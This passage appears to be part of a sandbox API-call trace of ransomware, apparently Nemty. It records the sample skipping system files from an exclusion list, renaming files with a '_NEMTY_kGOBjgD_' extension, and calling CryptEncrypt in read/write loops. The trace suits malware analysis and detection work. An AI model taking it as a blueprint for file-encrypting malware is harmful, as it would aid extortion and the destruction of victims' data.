nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.846] CloseHandle (hObject=0xffffffff) returned 0 [0166.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340410 [0166.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404f8 [0166.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0166.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.847] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315aebdb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2=".") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="..") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="...") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="windows") returned -1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="$RECYCLE.BIN") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="rsa") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="NTDETECT.COM") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="ntldr") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="MSDOS.SYS") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="IO.SYS") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="boot.ini") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="boot.ini") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="ntuser.dat") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="desktop.ini") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="CONFIG.SYS") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="RECYCLER") returned 1 [0166.847] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="BOOTSECT.BAK") returned 1 [0166.848] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="bootmgr") returned 1 [0166.848] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="programdata") returned 1 [0166.848] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent.png", lpString2="appdata") returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0166.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401b8 [0166.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0166.848] Sleep (dwMilliseconds=0x5) [0166.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1719b7b0, dwHighDateTime=0x1d561e8)) [0166.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1719b7b0, dwHighDateTime=0x1d561e8)) [0166.855] GetLastError () returned 0x5 [0166.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.855] GetLastError () returned 0x5 [0166.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.856] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0166.856] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="zx5ldZS3wnt9e+cullD4TDqJgI+EhZAZJn3NlpaiOu4RUqUDSowRK0XQizLWug14\r\n1J2CGKB2SoRmPAXLrtBqlWy+lElgFZnY/YOkpVG1jogxeF1jj5xMVI7UIMdmij4R\r\n2KY8JILqOXVfDndJ7JF4Q0JtIKZtTeLoFkR9O36ilPjfosv0GiBMZOaBPGY1oeE0\r\nduAecsNoe2pPuFAbxTnKh6br3apMKMSY3BEnAU3Tdh2cZnV5IAO6FhPOpifWkpIR\r\nni48VvLfREdKDmZtMoI6JdhFBhCOu7L+y5xYyVNwU/scr5rKvNuwYeeyYyGLeeZC\r\njBwPEeyx3g74Bs9N1WZGyg==\r\n", pcchString=0x653e91c) returned 1 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0166.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.856] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.856] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 